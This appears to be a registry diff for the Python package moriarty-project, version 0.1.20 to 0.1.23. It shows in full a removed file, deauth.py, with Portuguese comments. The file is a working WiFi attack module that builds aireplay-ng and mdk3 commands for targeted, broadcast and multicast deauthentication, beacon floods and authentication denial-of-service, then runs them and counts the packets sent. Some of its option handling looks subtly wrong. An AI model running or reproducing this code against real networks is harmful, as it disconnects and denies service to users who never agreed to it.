moriarty-project 0.1.20__py3-none-any.whl → 0.1.23__py3-none-any.whl
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- moriarty/__init__.py +1 -1
- moriarty/cli/app.py +5 -6
- moriarty/modules/port_scanner.py +1 -5
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/METADATA +36 -49
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/RECORD +7 -22
- moriarty/cli/wifippler.py +0 -124
- moriarty/modules/wifippler/__init__.py +0 -65
- moriarty/modules/wifippler/core/__init__.py +0 -80
- moriarty/modules/wifippler/core/attacks/__init__.py +0 -19
- moriarty/modules/wifippler/core/attacks/deauth.py +0 -340
- moriarty/modules/wifippler/core/attacks/handshake.py +0 -402
- moriarty/modules/wifippler/core/attacks/pmkid.py +0 -424
- moriarty/modules/wifippler/core/attacks/wep.py +0 -467
- moriarty/modules/wifippler/core/attacks/wpa.py +0 -446
- moriarty/modules/wifippler/core/attacks/wps.py +0 -474
- moriarty/modules/wifippler/core/models/__init__.py +0 -10
- moriarty/modules/wifippler/core/models/network.py +0 -216
- moriarty/modules/wifippler/core/scanner.py +0 -901
- moriarty/modules/wifippler/core/utils/__init__.py +0 -622
- moriarty/modules/wifippler/core/utils.py +0 -851
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/WHEEL +0 -0
- {moriarty_project-0.1.20.dist-info → moriarty_project-0.1.23.dist-info}/entry_points.txt +0 -0
@@ -1,340 +0,0 @@
|
|
1
|
-
"""
|
2
|
-
Módulo de ataque de desautenticação.
|
3
|
-
|
4
|
-
Este módulo implementa ataques de desautenticação contra redes WiFi, permitindo:
|
5
|
-
- Desautenticar clientes específicos
|
6
|
-
- Desautenticar todos os clientes de uma rede
|
7
|
-
- Enviar pacotes de desautenticação em massa
|
8
|
-
- Realizar ataques Beacon Flood
|
9
|
-
- Realizar ataques de desautenticação direcionados
|
10
|
-
"""
|
11
|
-
import os
|
12
|
-
import re
|
13
|
-
import time
|
14
|
-
import logging
|
15
|
-
import subprocess
|
16
|
-
import tempfile
|
17
|
-
from typing import Optional, Dict, List, Tuple, Any, Callable, Union
|
18
|
-
from dataclasses import dataclass, field
|
19
|
-
from enum import Enum, auto
|
20
|
-
|
21
|
-
from rich.console import Console
|
22
|
-
from rich.progress import Progress, SpinnerColumn, TextColumn
|
23
|
-
|
24
|
-
from ...core.models.network import WiFiNetwork, WiFiClient
|
25
|
-
from ...core.utils import (
|
26
|
-
is_root, check_dependencies, get_network_interfaces,
|
27
|
-
set_monitor_mode, restore_network_interface, command_exists,
|
28
|
-
get_interface_mac
|
29
|
-
)
|
30
|
-
|
31
|
-
# Configuração de logging
|
32
|
-
logging.basicConfig(level=logging.INFO)
|
33
|
-
logger = logging.getLogger(__name__)
|
34
|
-
console = Console()
|
35
|
-
|
36
|
-
class DeauthAttackType(Enum):
|
37
|
-
"""Tipos de ataque de desautenticação."""
|
38
|
-
DEAUTH = auto() # Desautenticação padrão
|
39
|
-
AUTH = auto() # Pacotes de autenticação
|
40
|
-
BEACON = auto() # Beacon flood
|
41
|
-
DISASSOC = auto() # Desassociação
|
42
|
-
PROBE_RESP = auto() # Resposta a sondas
|
43
|
-
AUTH_DOS = auto() # Negação de serviço por autenticação
|
44
|
-
DEAUTH_BROADCAST = auto() # Desautenticação em broadcast
|
45
|
-
DEAUTH_MULTICAST = auto() # Desautenticação em multicast
|
46
|
-
DEAUTH_DIRECTED = auto() # Desautenticação direcionada
|
47
|
-
|
48
|
-
class DeauthEventType(Enum):
|
49
|
-
"""Tipos de eventos do ataque de desautenticação."""
|
50
|
-
START = auto()
|
51
|
-
PACKET_SENT = auto()
|
52
|
-
CLIENT_DISCONNECTED = auto()
|
53
|
-
ERROR = auto()
|
54
|
-
COMPLETE = auto()
|
55
|
-
STATUS = auto()
|
56
|
-
|
57
|
-
@dataclass
|
58
|
-
class DeauthEvent:
|
59
|
-
"""Evento de progresso do ataque de desautenticação."""
|
60
|
-
type: DeauthEventType
|
61
|
-
message: str = ""
|
62
|
-
data: Dict[str, Any] = field(default_factory=dict)
|
63
|
-
|
64
|
-
class DeauthAttack:
|
65
|
-
"""Classe para realizar ataques de desautenticação."""
|
66
|
-
|
67
|
-
def __init__(self, interface: str = None, deauth_type: DeauthAttackType = DeauthAttackType.DEAUTH):
|
68
|
-
"""
|
69
|
-
Inicializa o ataque de desautenticação.
|
70
|
-
|
71
|
-
Args:
|
72
|
-
interface: Interface de rede para usar no ataque
|
73
|
-
deauth_type: Tipo de ataque de desautenticação
|
74
|
-
"""
|
75
|
-
self.interface = interface
|
76
|
-
self.deauth_type = deauth_type
|
77
|
-
self.is_running = False
|
78
|
-
self.stop_requested = False
|
79
|
-
self.packets_sent = 0
|
80
|
-
self.process = None
|
81
|
-
|
82
|
-
# Verifica dependências
|
83
|
-
self._check_dependencies()
|
84
|
-
|
85
|
-
# Verifica privilégios
|
86
|
-
if not is_root():
|
87
|
-
raise PermissionError("Este ataque requer privilégios de root")
|
88
|
-
|
89
|
-
def _check_dependencies(self) -> None:
|
90
|
-
"""Verifica se todas as dependências necessárias estão instaladas."""
|
91
|
-
required = ['aireplay-ng', 'mdk4', 'mdk3', 'iwconfig', 'ifconfig']
|
92
|
-
missing = [cmd for cmd in required if not command_exists(cmd)]
|
93
|
-
|
94
|
-
if missing:
|
95
|
-
raise RuntimeError(
|
96
|
-
f"As seguintes dependências estão faltando: {', '.join(missing)}\n"
|
97
|
-
"Instale-as com: sudo apt install aircrack-ng mdk4 mdk3 wireless-tools"
|
98
|
-
)
|
99
|
-
|
100
|
-
def start(self, bssid: str, client_mac: str = None,
|
101
|
-
count: int = 0, delay: int = 100,
|
102
|
-
reason: int = 7, channel: int = None,
|
103
|
-
callback: Callable[[DeauthEvent], None] = None) -> bool:
|
104
|
-
"""
|
105
|
-
Inicia o ataque de desautenticação.
|
106
|
-
|
107
|
-
Args:
|
108
|
-
bssid: Endereço MAC do ponto de acesso
|
109
|
-
client_mac: Endereço MAC do cliente (None para broadcast)
|
110
|
-
count: Número de pacotes a enviar (0 para contínuo)
|
111
|
-
delay: Atraso entre pacotes em milissegundos
|
112
|
-
reason: Código de motivo da desautenticação
|
113
|
-
channel: Canal da rede (opcional, tenta detectar automaticamente)
|
114
|
-
callback: Função de callback para eventos
|
115
|
-
|
116
|
-
Returns:
|
117
|
-
True se o ataque foi iniciado com sucesso, False caso contrário
|
118
|
-
"""
|
119
|
-
self.is_running = True
|
120
|
-
self.stop_requested = False
|
121
|
-
self.packets_sent = 0
|
122
|
-
|
123
|
-
# Configura o monitoramento de eventos
|
124
|
-
def event_handler(event_type: DeauthEventType, message: str = "", **kwargs):
|
125
|
-
if callback:
|
126
|
-
event = DeauthEvent(type=event_type, message=message, data=kwargs)
|
127
|
-
callback(event)
|
128
|
-
|
129
|
-
try:
|
130
|
-
# Define o canal, se especificado
|
131
|
-
if channel:
|
132
|
-
self._set_channel(channel)
|
133
|
-
|
134
|
-
# Prepara o comando com base no tipo de ataque
|
135
|
-
if self.deauth_type == DeauthAttackType.BEACON:
|
136
|
-
cmd = self._prepare_beacon_attack(bssid, essid="FREE_WIFI")
|
137
|
-
elif self.deauth_type == DeauthAttackType.AUTH_DOS:
|
138
|
-
cmd = self._prepare_auth_dos(bssid)
|
139
|
-
elif self.deauth_type == DeauthAttackType.DEAUTH_BROADCAST:
|
140
|
-
cmd = self._prepare_broadcast_deauth(bssid, count, delay, reason)
|
141
|
-
elif self.deauth_type == DeauthAttackType.DEAUTH_MULTICAST:
|
142
|
-
cmd = self._prepare_multicast_deauth(bssid, count, delay, reason)
|
143
|
-
elif self.deauth_type == DeauthAttackType.DEAUTH_DIRECTED:
|
144
|
-
if not client_mac:
|
145
|
-
raise ValueError("Endereço MAC do cliente é necessário para desautenticação direcionada")
|
146
|
-
cmd = self._prepare_directed_deauth(bssid, client_mac, count, delay, reason)
|
147
|
-
else: # Desautenticação padrão
|
148
|
-
cmd = self._prepare_standard_deauth(bssid, client_mac, count, delay, reason)
|
149
|
-
|
150
|
-
event_handler(DeauthEventType.START, f"Iniciando ataque {self.deauth_type.name}...")
|
151
|
-
|
152
|
-
# Executa o comando em segundo plano
|
153
|
-
self.process = subprocess.Popen(
|
154
|
-
cmd,
|
155
|
-
stdout=subprocess.PIPE,
|
156
|
-
stderr=subprocess.STDOUT,
|
157
|
-
universal_newlines=True
|
158
|
-
)
|
159
|
-
|
160
|
-
# Monitora a saída
|
161
|
-
start_time = time.time()
|
162
|
-
|
163
|
-
while True:
|
164
|
-
# Verifica se foi solicitado para parar
|
165
|
-
if self.stop_requested:
|
166
|
-
self._stop_process()
|
167
|
-
event_handler(DeauthEventType.COMPLETE, "Ataque interrompido pelo usuário")
|
168
|
-
return True
|
169
|
-
|
170
|
-
# Verifica se o processo ainda está em execução
|
171
|
-
if self.process.poll() is not None:
|
172
|
-
break
|
173
|
-
|
174
|
-
# Lê a saída
|
175
|
-
line = self.process.stdout.readline()
|
176
|
-
if line:
|
177
|
-
# Conta os pacotes enviados
|
178
|
-
if "DeAuth" in line or "Sent" in line:
|
179
|
-
self.packets_sent += 1
|
180
|
-
event_handler(
|
181
|
-
DeauthEventType.PACKET_SENT,
|
182
|
-
f"Pacote {self.packets_sent} enviado",
|
183
|
-
packets_sent=self.packets_sent
|
184
|
-
)
|
185
|
-
|
186
|
-
# Verifica se um cliente foi desconectado
|
187
|
-
if "deauth" in line.lower() or "disassoc" in line.lower():
|
188
|
-
event_handler(
|
189
|
-
DeauthEventType.CLIENT_DISCONNECTED,
|
190
|
-
f"Cliente {client_mac or 'broadcast'} desconectado",
|
191
|
-
client_mac=client_mac,
|
192
|
-
bssid=bssid
|
193
|
-
)
|
194
|
-
|
195
|
-
# Aguarda um pouco antes da próxima verificação
|
196
|
-
time.sleep(0.1)
|
197
|
-
|
198
|
-
event_handler(DeauthEventType.COMPLETE, "Ataque concluído")
|
199
|
-
return True
|
200
|
-
|
201
|
-
except Exception as e:
|
202
|
-
event_handler(
|
203
|
-
DeauthEventType.ERROR,
|
204
|
-
f"Erro durante o ataque de desautenticação: {str(e)}"
|
205
|
-
)
|
206
|
-
return False
|
207
|
-
|
208
|
-
finally:
|
209
|
-
self.is_running = False
|
210
|
-
self._stop_process()
|
211
|
-
|
212
|
-
def _prepare_standard_deauth(self, bssid: str, client_mac: str = None,
|
213
|
-
count: int = 0, delay: int = 100,
|
214
|
-
reason: int = 7) -> List[str]:
|
215
|
-
"""Prepara o comando para desautenticação padrão."""
|
216
|
-
cmd = [
|
217
|
-
'aireplay-ng',
|
218
|
-
'--deauth', str(count) if count > 0 else '0',
|
219
|
-
'-a', bssid,
|
220
|
-
'-h', get_interface_mac(self.interface) or '00:11:22:33:44:55',
|
221
|
-
'--ignore-negative-one',
|
222
|
-
]
|
223
|
-
|
224
|
-
if client_mac and client_mac.lower() != 'ff:ff:ff:ff:ff:ff':
|
225
|
-
cmd.extend(['-c', client_mac])
|
226
|
-
|
227
|
-
if delay > 0:
|
228
|
-
cmd.extend(['--deauth', str(delay)])
|
229
|
-
|
230
|
-
cmd.append(self.interface)
|
231
|
-
return cmd
|
232
|
-
|
233
|
-
def _prepare_beacon_attack(self, bssid: str, essid: str = "FREE_WIFI") -> List[str]:
|
234
|
-
"""Prepara o comando para ataque de Beacon Flood."""
|
235
|
-
# Usa o mdk3 para enviar beacons falsos
|
236
|
-
return [
|
237
|
-
'mdk3', self.interface, 'b',
|
238
|
-
'-n', essid,
|
239
|
-
'-c', '1,6,11', # Canais 1, 6 e 11 (2.4GHz)
|
240
|
-
'-s', '1000' # Velocidade de envio
|
241
|
-
]
|
242
|
-
|
243
|
-
def _prepare_auth_dos(self, bssid: str) -> List[str]:
|
244
|
-
"""Prepara o comando para ataque de negação de serviço por autenticação."""
|
245
|
-
# Usa o mdk3 para enviar solicitações de autenticação em massa
|
246
|
-
return [
|
247
|
-
'mdk3', self.interface, 'a',
|
248
|
-
'-a', bssid,
|
249
|
-
'-m', # Usa endereços MAC aleatórios
|
250
|
-
'-s', '1000' # Velocidade de envio
|
251
|
-
]
|
252
|
-
|
253
|
-
def _prepare_broadcast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
|
254
|
-
"""Prepara o comando para desautenticação em broadcast."""
|
255
|
-
return [
|
256
|
-
'mdk3', self.interface, 'd',
|
257
|
-
'-b', bssid,
|
258
|
-
'-c', str(self._get_channel() or '1'),
|
259
|
-
'-s', '1000',
|
260
|
-
'-n', str(count) if count > 0 else '0'
|
261
|
-
]
|
262
|
-
|
263
|
-
def _prepare_multicast_deauth(self, bssid: str, count: int, delay: int, reason: int) -> List[str]:
|
264
|
-
"""Prepara o comando para desautenticação em multicast."""
|
265
|
-
# Usa o aireplay-ng para enviar pacotes de desautenticação em multicast
|
266
|
-
return [
|
267
|
-
'aireplay-ng',
|
268
|
-
'--deauth', str(count) if count > 0 else '0',
|
269
|
-
'-a', bssid,
|
270
|
-
'-h', '01:00:5E:00:00:01', # Endereço multicast
|
271
|
-
'--ignore-negative-one',
|
272
|
-
self.interface
|
273
|
-
]
|
274
|
-
|
275
|
-
def _prepare_directed_deauth(self, bssid: str, client_mac: str,
|
276
|
-
count: int, delay: int, reason: int) -> List[str]:
|
277
|
-
"""Prepara o comando para desautenticação direcionada."""
|
278
|
-
return [
|
279
|
-
'aireplay-ng',
|
280
|
-
'--deauth', str(count) if count > 0 else '0',
|
281
|
-
'-a', bssid,
|
282
|
-
'-c', client_mac,
|
283
|
-
'--ignore-negative-one',
|
284
|
-
self.interface
|
285
|
-
]
|
286
|
-
|
287
|
-
def _set_channel(self, channel: int) -> bool:
|
288
|
-
"""Define o canal da interface de rede."""
|
289
|
-
try:
|
290
|
-
subprocess.run(
|
291
|
-
['iwconfig', self.interface, 'channel', str(channel)],
|
292
|
-
check=True,
|
293
|
-
capture_output=True
|
294
|
-
)
|
295
|
-
return True
|
296
|
-
except subprocess.CalledProcessError as e:
|
297
|
-
logger.error(f"Erro ao definir o canal: {e.stderr}")
|
298
|
-
return False
|
299
|
-
|
300
|
-
def _get_channel(self) -> Optional[int]:
|
301
|
-
"""Obtém o canal atual da interface de rede."""
|
302
|
-
try:
|
303
|
-
result = subprocess.run(
|
304
|
-
['iwconfig', self.interface],
|
305
|
-
capture_output=True,
|
306
|
-
text=True
|
307
|
-
)
|
308
|
-
|
309
|
-
# Procura por algo como "Channel:11" ou "Frequency:2.412 GHz (Channel 1)"
|
310
|
-
match = re.search(r'Channel:(\d+)', result.stdout)
|
311
|
-
if match:
|
312
|
-
return int(match.group(1))
|
313
|
-
|
314
|
-
match = re.search(r'Channel\s+(\d+)', result.stdout)
|
315
|
-
if match:
|
316
|
-
return int(match.group(1))
|
317
|
-
|
318
|
-
return None
|
319
|
-
|
320
|
-
except Exception as e:
|
321
|
-
logger.error(f"Erro ao obter o canal: {e}")
|
322
|
-
return None
|
323
|
-
|
324
|
-
def _stop_process(self):
|
325
|
-
"""Para o processo em execução."""
|
326
|
-
if self.process and self.process.poll() is None:
|
327
|
-
try:
|
328
|
-
self.process.terminate()
|
329
|
-
self.process.wait(timeout=5)
|
330
|
-
except:
|
331
|
-
try:
|
332
|
-
self.process.kill()
|
333
|
-
except:
|
334
|
-
pass
|
335
|
-
|
336
|
-
def stop(self):
|
337
|
-
"""Solicita a interrupção do ataque."""
|
338
|
-
self.stop_requested = True
|
339
|
-
self._stop_process()
|
340
|
-
self.is_running = False
|